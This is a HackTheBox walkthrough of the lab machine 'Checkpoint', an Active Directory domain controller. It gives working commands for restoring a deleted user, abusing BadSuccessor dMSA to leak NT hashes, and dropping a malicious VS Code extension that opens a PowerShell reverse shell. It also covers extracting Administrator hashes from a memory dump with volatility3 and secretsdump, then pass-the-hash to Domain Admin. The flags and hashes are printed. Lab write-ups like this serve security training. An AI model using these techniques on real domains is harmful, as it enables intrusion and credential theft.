HackTheBox — Checkpoint

Published on: 6/19/2026

Summary: restore a deleted user (`mark.davies`) → **BadSuccessor (dMSA)** to steal its hash → abuse `mark.davies`'s share ACL to drop a malicious **VS Code .vsix** → RCE as developer `ryan.brooks` → hybrid BadSuccessor on `svc_deploy` → read **VMBackups** → **volatility3** on a VM memory dump → local Administrator hash → **Pass-the-Hash** to Domain Admin.


HackTheBox — Checkpoint

1. Overview

Machine Checkpoint
OS Windows (Server 2025 Domain Controller)
Difficulty Medium
Domain checkpoint.htb / DC: dc01.checkpoint.htb
Given creds alex.turner : Checkpoint2024! (free season box)
user.txt afbae41eb61150ea57d3e26217d95280
root.txt 0dce7d255c4e5307c877a9da7dd72836

Attack chain: restore a deleted user (mark.davies) → BadSuccessor (dMSA) to steal its hash → abuse mark.davies's share ACL to drop a malicious VS Code .vsix → RCE as developer ryan.brooks → hybrid BadSuccessor on svc_deploy → read VMBackupsvolatility3 on a VM memory dump → local Administrator hash → Pass-the-Hash to Domain Admin.


2. Reconnaissance

Port scan

nmap -p- --min-rate 5000 --max-retries 1 -T4 -Pn -n 10.129.6.126
nmap -p88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sV 10.129.6.126

Result — a standard AD Domain Controller, plus an unusual DNS banner:

53/tcp   open  domain        Simple DNS Plus          <-- third-party DNS
88/tcp   open  kerberos-sec
389/tcp  open  ldap          Domain: checkpoint.htb
445/tcp  open  microsoft-ds
5985/tcp open  wsman         (WinRM)
9389/tcp open  mc-nmf        (ADWS)

Domain discovery via DNS

SMB null session and anonymous LDAP are locked down, but DNS (port 53) answers:

dig @10.129.6.126 checkpoint.htb SOA +short      # -> dc01.checkpoint.htb
dig @10.129.6.126 _ldap._tcp.checkpoint.htb SRV  # -> dc01.checkpoint.htb:389

macOS environment setup (important)

Because the DC enforces LDAP signing, returns an IPv6 AAAA record that won't route over the IPv4 VPN, and is ~7h ahead (clock skew), the following were needed:

  • A usercustomize.py in the python user-site dir that (a) forces dc01.checkpoint.htb → IPv4 via socket.getaddrinfo, and (b) shifts time/datetime by IMP_TIME_OFFSET=25200 seconds so impacket's pure-python Kerberos matches the DC clock (faketime is unreliable on hardened homebrew python).
  • bloodyAD as the LDAP read/write engine — its backend does Kerberos sign+seal and auto-corrects clock skew, unlike impacket 0.12's LDAP.
getTGT.py checkpoint.htb/alex.turner:'Checkpoint2024!' -dc-ip 10.129.6.126   # with IMP_TIME_OFFSET=25200

3. Foothold → mark.davies

alex.turner's ACL rights

bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -k get writable
  • GenericWrite on the deleted object Mark Davies (CN=Mark Davies\0ADEL:…,CN=Deleted Objects)
  • CreateChild on OU=Employees

Restore the deleted account

bloodyAD ... -k set restore mark.davies
# [+] mark.davies restored under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Password reset, PKINIT (shadow creds), and Kerberoast-crack all fail (no Reset right, no AD CS, uncrackable password). The only usable GenericWrite primitive is BadSuccessor.

BadSuccessor (dMSA) → steal mark.davies's hash

The DC is Server 2025. With CreateChild on an OU plus the ability to write the target's msDS-Superseded* attributes (we have GenericWrite on mark.davies), a delegated MSA can be created that "supersedes" the target — its TGS key package leaks the predecessor's keys:

bloodyAD ... -u alex.turner -k add badSuccessor pwnmsa \
  -t 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' --ou 'OU=Employees,DC=checkpoint,DC=htb'
# dMSA previous keys (mark.davies):  RC4: 0b28e49d9deb96f99d74578e214faec2

Reproduction (tmux, rendered via Chrome — the screenshots below are live re-runs against the box):

BadSuccessor leaks mark.davies NT hash


4. mark.davies → ryan.brooks (malicious VSIX RCE)

mark.davies's SID has write access to the DevDrop SMB share (C:\Shares\DevDrop, "VS Code extensions share"). RC4 Pass-the-Hash over Kerberos is blocked (AES-only KDC), but the dMSA TGT itself carries mark.davies's SID, so it authenticates to SMB:

# upload using the dMSA ccache
KRB5CCNAME=pwnmsa_*.ccache smbclient.py -k -no-pass 'checkpoint.htb/pwnmsa$@dc01.checkpoint.htb'
> use DevDrop
> put code-helper.vsix

A malicious .vsix (a zip with extension.vsixmanifest, [Content_Types].xml, and an extension.js whose activate() runs a PowerShell reverse shell) is auto-installed by a developer's VS Code. Within seconds:

[+] Connection from 10.129.6.126
checkpoint\ryan.brooks   (member of DevTeam)

user.txt is on ryan.brooks's desktop:

C:\Users\ryan.brooks\Desktop\user.txt -> afbae41eb61150ea57d3e26217d95280

Malicious vsix RCE as ryan.brooks → user.txt


5. Privilege Escalation → svc_deploy → Administrator

ryan.brooks → svc_deploy (hybrid BadSuccessor)

ryan.brooks has GenericWrite on svc_deploy (member of BackupAccess + Remote Management Users). svc_deploy has no SPN and can't be reset directly, so BadSuccessor again — split across two identities:

  1. alex.turner (CreateChild on Employees) creates the dMSA superseding svc_deploy:
    bloodyAD ... -u alex.turner -k add badSuccessor deploymsa \
      -t 'CN=svc_deploy,OU=ServiceAccounts,...' --ou 'OU=Employees,...' --prepatch
    
  2. ryan.brooks (shell) writes svc_deploy's superseded-link (which alex.turner cannot):
    Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Add @{'msDS-SupersededManagedAccountLink'='CN=deploymsa,OU=Employees,...'}
    Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Replace @{'msDS-SupersededServiceAccountState'=2}
    
  3. alex.turner retrieves the dMSA TGT → leaks svc_deploy's keys:
    badS4U2self 'kerberos+ccache://checkpoint.htb\alex.turner:<ccache>@10.129.6.126/' \
      'krbtgt/checkpoint.htb@checkpoint.htb' 'deploymsa$@checkpoint.htb' --dmsa
    # svc_deploy NT hash: e16081eb077aca74bdbf8af12af43ac9
    

svc_deploy → VMBackups → volatility3

svc_deploy (BackupAccess) can read the VMBackups share over NTLM PtH:

smbclient.py -hashes :e16081eb077aca74bdbf8af12af43ac9 checkpoint.htb/svc_deploy@dc01.checkpoint.htb
# VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem (2 GB)

svc_deploy reads the VMBackups memory dump

Download the VMware memory snapshot and analyse with volatility3:

vol -f snapshot.vmem windows.registry.hivelist --dump          # dump SAM / SYSTEM / SECURITY
secretsdump.py -sam registry.SAM... -system registry.SYSTEM... -security registry.SECURITY... LOCAL
# Administrator:500:...:f29e9c014295b9b32139b09a2790be3b:::

volatility3 hives → secretsdump → Administrator hash

Pass-the-Hash → Domain Admin

The snapshot's local Administrator hash is reused as the domain Administrator. NTLM PtH works on dc01:

wmiexec.py -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb
C:\> type C:\Users\max.palmer\Desktop\root.txt
0dce7d255c4e5307c877a9da7dd72836

Pass-the-Hash as Domain Admin → root.txt


6. Flags

Flag Value
user.txt afbae41eb61150ea57d3e26217d95280
root.txt 0dce7d255c4e5307c877a9da7dd72836

HTB owned status — user + root


7. Key Techniques & Lessons

  1. Tombstone reanimation (bloodyAD set restore) — a GenericWrite ACE over a deleted object is enough to bring it back.
  2. BadSuccessor (dMSA) — on Server 2025, CreateChild on an OU + write on a target's msDS-Superseded* attributes lets you mint a delegated MSA that inherits the target and leaks its keys via the TGS key package. Used twice here (mark.davies, then svc_deploy via a 2-identity split because the DC was patched and required the link on the target).
  3. Malicious VSIX — a VS Code extension's activate() is arbitrary Node.js; dropping one into a watched/auto-installed share yields RCE as the developer.
  4. Memory-dump credential theft — a backup .vmem is raw RAM; volatility3 → registry hives → secretsdump recovers the local Administrator hash; password reuse → Domain Admin.
Table of Contents